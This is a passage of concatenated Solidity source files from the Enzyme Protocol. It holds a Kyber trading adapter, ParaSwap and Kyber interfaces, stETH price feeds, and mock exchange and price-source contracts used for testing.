/// @dev Helper to unwrap specified amount of WETH into ETH.
/// Avoids the stack-too-deep error.
function __unwrapWeth(uint256 _amount) private {
IWETH(payable(WETH_TOKEN)).withdraw(_amount);
}
/// @dev Helper to wrap all ETH in contract as WETH.
/// Avoids the stack-too-deep error.
function __wrapEth() private {
uint256 ethBalance = payable(address(this)).balance;
if (ethBalance > 0) {
IWETH(payable(WETH_TOKEN)).deposit{value: ethBalance}();
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `EXCHANGE` variable
/// @return exchange_ The `EXCHANGE` variable value
function getExchange() external view returns (address exchange_) {
return EXCHANGE;
}
/// @notice Gets the `TOKEN_TRANSFER_PROXY` variable
/// @return tokenTransferProxy_ The `TOKEN_TRANSFER_PROXY` variable value
function getTokenTransferProxy() external view returns (address tokenTransferProxy_) {
return TOKEN_TRANSFER_PROXY;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title ParaSwap IAugustusSwapper interface
interface IParaSwapAugustusSwapper {
struct Route {
address payable exchange;
address targetExchange;
uint256 percent;
bytes payload;
uint256 networkFee;
}
struct Path {
address to;
uint256 totalNetworkFee;
Route[] routes;
}
function multiSwap(
address,
address,
uint256,
uint256,
uint256,
Path[] calldata,
uint256,
address payable,
uint256,
string calldata
) external payable returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../release/interfaces/IParaSwapAugustusSwapper.sol";
import "../prices/CentralizedRateProvider.sol";
import "../utils/SwapperBase.sol";
contract MockParaSwapIntegratee is SwapperBase {
using SafeMath for uint256;
address private immutable MOCK_CENTRALIZED_RATE_PROVIDER;
// Deviation set in % defines the MAX deviation per block from the mean rate
uint256 private blockNumberDeviation;
constructor(address _mockCentralizedRateProvider, uint256 _blockNumberDeviation) public {
MOCK_CENTRALIZED_RATE_PROVIDER = _mockCentralizedRateProvider;
blockNumberDeviation = _blockNumberDeviation;
}
/// @dev Must be `public` to avoid error
function multiSwap(
address _fromToken,
address _toToken,
uint256 _fromAmount,
uint256, // toAmount (min received amount)
uint256, // expectedAmount
IParaSwapAugustusSwapper.Path[] memory _paths,
uint256, // mintPrice
address, // beneficiary
uint256, // donationPercentage
string memory // referrer
) public payable returns (uint256) {
return __multiSwap(_fromToken, _toToken, _fromAmount, _paths);
}
/// @dev Helper to parse the total amount of network fees (in ETH) for the multiSwap() call
function __calcTotalNetworkFees(IParaSwapAugustusSwapper.Path[] memory _paths)
private
pure
returns (uint256 totalNetworkFees_)
{
for (uint256 i; i < _paths.length; i++) {
totalNetworkFees_ = totalNetworkFees_.add(_paths[i].totalNetworkFee);
}
return totalNetworkFees_;
}
/// @dev Helper to avoid the stack-too-deep error
function __multiSwap(
address _fromToken,
address _toToken,
uint256 _fromAmount,
IParaSwapAugustusSwapper.Path[] memory _paths
) private returns (uint256) {
address[] memory assetsFromIntegratee = new address[](1);
assetsFromIntegratee[0] = _toToken;
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](1);
assetsFromIntegrateeAmounts[0] = CentralizedRateProvider(MOCK_CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(_fromToken, _fromAmount, _toToken, blockNumberDeviation);
uint256 totalNetworkFees = __calcTotalNetworkFees(_paths);
address[] memory assetsToIntegratee;
uint256[] memory assetsToIntegrateeAmounts;
if (totalNetworkFees > 0) {
assetsToIntegratee = new address[](2);
assetsToIntegratee[1] = ETH_ADDRESS;
assetsToIntegrateeAmounts = new uint256[](2);
assetsToIntegrateeAmounts[1] = totalNetworkFees;
} else {
assetsToIntegratee = new address[](1);
assetsToIntegrateeAmounts = new uint256[](1);
}
assetsToIntegratee[0] = _fromToken;
assetsToIntegrateeAmounts[0] = _fromAmount;
__swap(
msg.sender,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
return assetsFromIntegrateeAmounts[0];
}
///////////////////
// STATE GETTERS //
///////////////////
function getBlockNumberDeviation() external view returns (uint256 blockNumberDeviation_) {
return blockNumberDeviation;
}
function getCentralizedRateProvider()
external
view
returns (address centralizedRateProvider_)
{
return MOCK_CENTRALIZED_RATE_PROVIDER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./EthConstantMixin.sol";
abstract contract SwapperBase is EthConstantMixin {
receive() external payable {}
function __swapAssets(
address payable _trader,
address _srcToken,
uint256 _srcAmount,
address _destToken,
uint256 _actualRate
) internal returns (uint256 destAmount_) {
address[] memory assetsToIntegratee = new address[](1);
assetsToIntegratee[0] = _srcToken;
uint256[] memory assetsToIntegrateeAmounts = new uint256[](1);
assetsToIntegrateeAmounts[0] = _srcAmount;
address[] memory assetsFromIntegratee = new address[](1);
assetsFromIntegratee[0] = _destToken;
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](1);
assetsFromIntegrateeAmounts[0] = _actualRate;
__swap(
_trader,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
return assetsFromIntegrateeAmounts[0];
}
function __swap(
address payable _trader,
address[] memory _assetsToIntegratee,
uint256[] memory _assetsToIntegrateeAmounts,
address[] memory _assetsFromIntegratee,
uint256[] memory _assetsFromIntegrateeAmounts
) internal {
// Take custody of incoming assets
for (uint256 i = 0; i < _assetsToIntegratee.length; i++) {
address asset = _assetsToIntegratee[i];
uint256 amount = _assetsToIntegrateeAmounts[i];
require(asset != address(0), "__swap: empty value in _assetsToIntegratee");
require(amount > 0, "__swap: empty value in _assetsToIntegrateeAmounts");
// Incoming ETH amounts can be ignored
if (asset == ETH_ADDRESS) {
continue;
}
ERC20(asset).transferFrom(_trader, address(this), amount);
}
// Distribute outgoing assets
for (uint256 i = 0; i < _assetsFromIntegratee.length; i++) {
address asset = _assetsFromIntegratee[i];
uint256 amount = _assetsFromIntegrateeAmounts[i];
require(asset != address(0), "__swap: empty value in _assetsFromIntegratee");
require(amount > 0, "__swap: empty value in _assetsFromIntegrateeAmounts");
if (asset == ETH_ADDRESS) {
_trader.transfer(amount);
} else {
ERC20(asset).transfer(_trader, amount);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
abstract contract EthConstantMixin {
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/NormalizedRateProviderBase.sol";
import "../../utils/SwapperBase.sol";
abstract contract MockIntegrateeBase is NormalizedRateProviderBase, SwapperBase {
constructor(
address[] memory _defaultRateAssets,
address[] memory _specialAssets,
uint8[] memory _specialAssetDecimals,
uint256 _ratePrecision
)
public
NormalizedRateProviderBase(
_defaultRateAssets,
_specialAssets,
_specialAssetDecimals,
_ratePrecision
)
{}
function __getRate(address _baseAsset, address _quoteAsset)
internal
view
override
returns (uint256)
{
// 1. Return constant if base asset is quote asset
if (_baseAsset == _quoteAsset) {
return 10**RATE_PRECISION;
}
// 2. Check for a direct rate
uint256 directRate = assetToAssetRate[_baseAsset][_quoteAsset];
if (directRate > 0) {
return directRate;
}
// 3. Check for inverse direct rate
uint256 iDirectRate = assetToAssetRate[_quoteAsset][_baseAsset];
if (iDirectRate > 0) {
return 10**(RATE_PRECISION.mul(2)).div(iDirectRate);
}
// 4. Else return 1
return 10**RATE_PRECISION;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./RateProviderBase.sol";
abstract contract NormalizedRateProviderBase is RateProviderBase {
using SafeMath for uint256;
uint256 public immutable RATE_PRECISION;
constructor(
address[] memory _defaultRateAssets,
address[] memory _specialAssets,
uint8[] memory _specialAssetDecimals,
uint256 _ratePrecision
) public RateProviderBase(_specialAssets, _specialAssetDecimals) {
RATE_PRECISION = _ratePrecision;
for (uint256 i = 0; i < _defaultRateAssets.length; i++) {
for (uint256 j = i + 1; j < _defaultRateAssets.length; j++) {
assetToAssetRate[_defaultRateAssets[i]][_defaultRateAssets[j]] =
10**_ratePrecision;
assetToAssetRate[_defaultRateAssets[j]][_defaultRateAssets[i]] =
10**_ratePrecision;
}
}
}
// TODO: move to main contracts' utils for use with prices
function __calcDenormalizedQuoteAssetAmount(
uint256 _baseAssetDecimals,
uint256 _baseAssetAmount,
uint256 _quoteAssetDecimals,
uint256 _rate
) internal view returns (uint256) {
return
_rate.mul(_baseAssetAmount).mul(10**_quoteAssetDecimals).div(
10**(RATE_PRECISION.add(_baseAssetDecimals))
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./EthConstantMixin.sol";
abstract contract RateProviderBase is EthConstantMixin {
mapping(address => mapping(address => uint256)) public assetToAssetRate;
// Handles non-ERC20 compliant assets like ETH and USD
mapping(address => uint8) public specialAssetToDecimals;
constructor(address[] memory _specialAssets, uint8[] memory _specialAssetDecimals) public {
require(
_specialAssets.length == _specialAssetDecimals.length,
"constructor: _specialAssets and _specialAssetDecimals are uneven lengths"
);
for (uint256 i = 0; i < _specialAssets.length; i++) {
specialAssetToDecimals[_specialAssets[i]] = _specialAssetDecimals[i];
}
specialAssetToDecimals[ETH_ADDRESS] = 18;
}
function __getDecimalsForAsset(address _asset) internal view returns (uint256) {
uint256 decimals = specialAssetToDecimals[_asset];
if (decimals == 0) {
decimals = uint256(ERC20(_asset).decimals());
}
return decimals;
}
function __getRate(address _baseAsset, address _quoteAsset)
internal
view
virtual
returns (uint256)
{
return assetToAssetRate[_baseAsset][_quoteAsset];
}
function setRates(
address[] calldata _baseAssets,
address[] calldata _quoteAssets,
uint256[] calldata _rates
) external {
require(
_baseAssets.length == _quoteAssets.length,
"setRates: _baseAssets and _quoteAssets are uneven lengths"
);
require(
_baseAssets.length == _rates.length,
"setRates: _baseAssets and _rates are uneven lengths"
);
for (uint256 i = 0; i < _baseAssets.length; i++) {
assetToAssetRate[_baseAssets[i]][_quoteAssets[i]] = _rates[i];
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @title AssetUnitCacheMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice Mixin to store a cache of asset units
abstract contract AssetUnitCacheMixin {
event AssetUnitCached(address indexed asset, uint256 prevUnit, uint256 nextUnit);
mapping(address => uint256) private assetToUnit;
/// @notice Caches the decimal-relative unit for a given asset
/// @param _asset The asset for which to cache the decimal-relative unit
/// @dev Callable by any account
function cacheAssetUnit(address _asset) public {
uint256 prevUnit = getCachedUnitForAsset(_asset);
uint256 nextUnit = 10**uint256(ERC20(_asset).decimals());
if (nextUnit != prevUnit) {
assetToUnit[_asset] = nextUnit;
emit AssetUnitCached(_asset, prevUnit, nextUnit);
}
}
/// @notice Caches the decimal-relative units for multiple given assets
/// @param _assets The assets for which to cache the decimal-relative units
/// @dev Callable by any account
function cacheAssetUnits(address[] memory _assets) public {
for (uint256 i; i < _assets.length; i++) {
cacheAssetUnit(_assets[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the cached decimal-relative unit for a given asset
/// @param _asset The asset for which to get the cached decimal-relative unit
/// @return unit_ The cached decimal-relative unit
function getCachedUnitForAsset(address _asset) public view returns (uint256 unit_) {
return assetToUnit[_asset];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../IDerivativePriceFeed.sol";
/// @title SinglePeggedDerivativePriceFeedBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed base for any single derivative that is pegged 1:1 to its underlying
abstract contract SinglePeggedDerivativePriceFeedBase is IDerivativePriceFeed {
address private immutable DERIVATIVE;
address private immutable UNDERLYING;
constructor(address _derivative, address _underlying) public {
require(
ERC20(_derivative).decimals() == ERC20(_underlying).decimals(),
"constructor: Unequal decimals"
);
DERIVATIVE = _derivative;
UNDERLYING = _underlying;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Not a supported derivative");
underlyings_ = new address[](1);
underlyings_[0] = UNDERLYING;
underlyingAmounts_ = new uint256[](1);
underlyingAmounts_[0] = _derivativeAmount;
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == DERIVATIVE;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `DERIVATIVE` variable value
/// @return derivative_ The `DERIVATIVE` variable value
function getDerivative() external view returns (address derivative_) {
return DERIVATIVE;
}
/// @notice Gets the `UNDERLYING` variable value
/// @return underlying_ The `UNDERLYING` variable value
function getUnderlying() external view returns (address underlying_) {
return UNDERLYING;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../release/infrastructure/price-feeds/derivatives/feeds/utils/SinglePeggedDerivativePriceFeedBase.sol";
/// @title TestSingleUnderlyingDerivativeRegistry Contract
/// @author Enzyme Council <[email protected]>
/// @notice A test implementation of SinglePeggedDerivativePriceFeedBase
contract TestSinglePeggedDerivativePriceFeed is SinglePeggedDerivativePriceFeedBase {
constructor(address _derivative, address _underlying)
public
SinglePeggedDerivativePriceFeedBase(_derivative, _underlying)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/SinglePeggedDerivativePriceFeedBase.sol";
/// @title StakehoundEthPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Stakehound stETH, which maps 1:1 with ETH
contract StakehoundEthPriceFeed is SinglePeggedDerivativePriceFeedBase {
constructor(address _steth, address _weth)
public
SinglePeggedDerivativePriceFeedBase(_steth, _weth)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]yme.finance>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/SinglePeggedDerivativePriceFeedBase.sol";
/// @title LidoStethPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Lido stETH, which maps 1:1 with ETH (https://lido.fi/)
contract LidoStethPriceFeed is SinglePeggedDerivativePriceFeedBase {
constructor(address _steth, address _weth)
public
SinglePeggedDerivativePriceFeedBase(_steth, _weth)
{}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/IKyberNetworkProxy.sol";
import "../../../../interfaces/IWETH.sol";
import "../../../../utils/MathHelpers.sol";
import "../utils/AdapterBase.sol";
/// @title KyberAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with Kyber Network
contract KyberAdapter is AdapterBase, MathHelpers {
address private immutable EXCHANGE;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _exchange,
address _wethToken
) public AdapterBase(_integrationManager) {
EXCHANGE = _exchange;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH from swap
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "KYBER_NETWORK";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address incomingAsset,
uint256 minIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
require(
incomingAsset != outgoingAsset,
"parseAssetsForMethod: incomingAsset and outgoingAsset asset cannot be the same"
);
require(outgoingAssetAmount > 0, "parseAssetsForMethod: outgoingAssetAmount must be >0");
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on Kyber
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
address incomingAsset,
uint256 minIncomingAssetAmount,
address outgoingAsset,
uint256 outgoingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
uint256 minExpectedRate = __calcNormalizedRate(
ERC20(outgoingAsset).decimals(),
outgoingAssetAmount,
ERC20(incomingAsset).decimals(),
minIncomingAssetAmount
);
if (outgoingAsset == WETH_TOKEN) {
__swapNativeAssetToToken(incomingAsset, outgoingAssetAmount, minExpectedRate);
} else if (incomingAsset == WETH_TOKEN) {
__swapTokenToNativeAsset(outgoingAsset, outgoingAssetAmount, minExpectedRate);
} else {
__swapTokenToToken(incomingAsset, outgoingAsset, outgoingAssetAmount, minExpectedRate);
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address incomingAsset_,
uint256 minIncomingAssetAmount_,
address outgoingAsset_,
uint256 outgoingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, uint256, address, uint256));
}
/// @dev Executes a swap of ETH to ERC20
function __swapNativeAssetToToken(
address _incomingAsset,
uint256 _outgoingAssetAmount,
uint256 _minExpectedRate
) private {
IWETH(payable(WETH_TOKEN)).withdraw(_outgoingAssetAmount);
IKyberNetworkProxy(EXCHANGE).swapEtherToToken{value: _outgoingAssetAmount}(
_incomingAsset,
_minExpectedRate
);
}
/// @dev Executes a swap of ERC20 to ETH
function __swapTokenToNativeAsset(
address _outgoingAsset,
uint256 _outgoingAssetAmount,
uint256 _minExpectedRate
) private {
__approveMaxAsNeeded(_outgoingAsset, EXCHANGE, _outgoingAssetAmount);
IKyberNetworkProxy(EXCHANGE).swapTokenToEther(
_outgoingAsset,
_outgoingAssetAmount,
_minExpectedRate
);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
/// @dev Executes a swap of ERC20 to ERC20
function __swapTokenToToken(
address _incomingAsset,
address _outgoingAsset,
uint256 _outgoingAssetAmount,
uint256 _minExpectedRate
) private {
__approveMaxAsNeeded(_outgoingAsset, EXCHANGE, _outgoingAssetAmount);
IKyberNetworkProxy(EXCHANGE).swapTokenToToken(
_outgoingAsset,
_outgoingAssetAmount,
_incomingAsset,
_minExpectedRate
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `EXCHANGE` variable
/// @return exchange_ The `EXCHANGE` variable value
function getExchange() external view returns (address exchange_) {
return EXCHANGE;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title Kyber Network interface
interface IKyberNetworkProxy {
function swapEtherToToken(address, uint256) external payable returns (uint256);
function swapTokenToEther(
address,
uint256,
uint256
) external returns (uint256);
function swapTokenToToken(
address,
uint256,
address,
uint256
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../release/utils/MathHelpers.sol";
import "../prices/CentralizedRateProvider.sol";
import "../utils/SwapperBase.sol";
contract MockKyberIntegratee is SwapperBase, Ownable, MathHelpers {
using SafeMath for uint256;
address private immutable CENTRALIZED_RATE_PROVIDER;
address private immutable WETH;
uint256 private constant PRECISION = 18;
// Deviation set in % defines the MAX deviation per block from the mean rate
uint256 private blockNumberDeviation;
constructor(
address _centralizedRateProvider,
address _weth,
uint256 _blockNumberDeviation
) public {
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
WETH = _weth;
blockNumberDeviation = _blockNumberDeviation;
}
function swapEtherToToken(address _destToken, uint256) external payable returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(WETH, msg.value, _destToken, blockNumberDeviation);
__swapAssets(msg.sender, ETH_ADDRESS, msg.value, _destToken, destAmount);
return msg.value;
}
function swapTokenToEther(
address _srcToken,
uint256 _srcAmount,
uint256
) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(_srcToken, _srcAmount, WETH, blockNumberDeviation);
__swapAssets(msg.sender, _srcToken, _srcAmount, ETH_ADDRESS, destAmount);
return _srcAmount;
}
function swapTokenToToken(
address _srcToken,
uint256 _srcAmount,
address _destToken,
uint256
) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(_srcToken, _srcAmount, _destToken, blockNumberDeviation);
__swapAssets(msg.sender, _srcToken, _srcAmount, _destToken, destAmount);
return _srcAmount;
}
function setBlockNumberDeviation(uint256 _deviationPct) external onlyOwner {
blockNumberDeviation = _deviationPct;
}
function getExpectedRate(
address _srcToken,
address _destToken,
uint256 _amount
) external returns (uint256 rate_, uint256 worstRate_) {
if (_srcToken == ETH_ADDRESS) {
_srcToken = WETH;
}
if (_destToken == ETH_ADDRESS) {
_destToken = WETH;
}
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomizedBySender(_srcToken, _amount, _destToken);
rate_ = __calcNormalizedRate(
ERC20(_srcToken).decimals(),
_amount,
ERC20(_destToken).decimals(),
destAmount
);
worstRate_ = rate_.mul(uint256(100).sub(blockNumberDeviation)).div(100);
}
///////////////////
// STATE GETTERS //
///////////////////
function getCentralizedRateProvider() public view returns (address) {
return CENTRALIZED_RATE_PROVIDER;
}
function getWeth() public view returns (address) {
return WETH;
}
function getBlockNumberDeviation() public view returns (uint256) {
return blockNumberDeviation;
}
function getPrecision() public pure returns (uint256) {
return PRECISION;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./../../release/interfaces/ISynthetixExchangeRates.sol";
import "../prices/MockChainlinkPriceSource.sol";
/// @dev This price source offers two different options getting prices
/// The first one is getting a fixed rate, which can be useful for tests
/// The second approach calculates dinamically the rate making use of a chainlink price source
/// Mocks the functionality of the folllowing Synthetix contracts: { Exchanger, ExchangeRates }
contract MockSynthetixPriceSource is Ownable, ISynthetixExchangeRates {
using SafeMath for uint256;
mapping(bytes32 => uint256) private fixedRate;
mapping(bytes32 => AggregatorInfo) private currencyKeyToAggregator;
enum RateAsset {ETH, USD}
struct AggregatorInfo {
address aggregator;
RateAsset rateAsset;
}
constructor(address _ethUsdAggregator) public {
currencyKeyToAggregator[bytes32("ETH")] = AggregatorInfo({
aggregator: _ethUsdAggregator,
rateAsset: RateAsset.USD
});
}
function setPriceSourcesForCurrencyKeys(
bytes32[] calldata _currencyKeys,
address[] calldata _aggregators,
RateAsset[] calldata _rateAssets
) external onlyOwner {
require(
_currencyKeys.length == _aggregators.length &&
_rateAssets.length == _aggregators.length
);
for (uint256 i = 0; i < _currencyKeys.length; i++) {
currencyKeyToAggregator[_currencyKeys[i]] = AggregatorInfo({
aggregator: _aggregators[i],
rateAsset: _rateAssets[i]
});
}
}
function setRate(bytes32 _currencyKey, uint256 _rate) external onlyOwner {
fixedRate[_currencyKey] = _rate;
}
/// @dev Calculates the rate from a currency key against USD
function rateAndInvalid(bytes32 _currencyKey)
external
view
override
returns (uint256 rate_, bool isInvalid_)
{
uint256 storedRate = getFixedRate(_currencyKey);
if (storedRate != 0) {
rate_ = storedRate;
} else {
AggregatorInfo memory aggregatorInfo = getAggregatorFromCurrencyKey(_currencyKey);
address aggregator = aggregatorInfo.aggregator;
if (aggregator == address(0)) {
rate_ = 0;
isInvalid_ = true;
return (rate_, isInvalid_);
}
uint256 decimals = MockChainlinkPriceSource(aggregator).decimals();
rate_ = uint256(MockChainlinkPriceSource(aggregator).latestAnswer()).mul(
10**(uint256(18).sub(decimals))
);
if (aggregatorInfo.rateAsset == RateAsset.ETH) {
uint256 ethToUsd = uint256(
MockChainlinkPriceSource(
getAggregatorFromCurrencyKey(bytes32("ETH"))
.aggregator
)
.latestAnswer()
);
rate_ = rate_.mul(ethToUsd).div(10**8);
}
}
isInvalid_ = (rate_ == 0);
return (rate_, isInvalid_);
}
///////////////////
// STATE GETTERS //
///////////////////
function getAggregatorFromCurrencyKey(bytes32 _currencyKey)
public
view
returns (AggregatorInfo memory _aggregator)
{
return currencyKeyToAggregator[_currencyKey];
}
function getFixedRate(bytes32 _currencyKey) public view returns (uint256) {
return fixedRate[_currencyKey];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
contract MockChainlinkPriceSource {
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
uint256 public DECIMALS;
int256 public latestAnswer;
uint256 public latestTimestamp;
uint256 public roundId;
address public aggregator;
constructor(uint256 _decimals) public {
DECIMALS = _decimals;
latestAnswer = int256(10**_decimals);
latestTimestamp = now;
roundId = 1;
aggregator = address(this);
}
function setLatestAnswer(int256 _nextAnswer, uint256 _nextTimestamp) external {
latestAnswer = _nextAnswer;
latestTimestamp = _nextTimestamp;
roundId = roundId + 1;
emit AnswerUpdated(latestAnswer, roundId, latestTimestamp);
}
function setAggregator(address _nextAggregator) external {
aggregator = _nextAggregator;
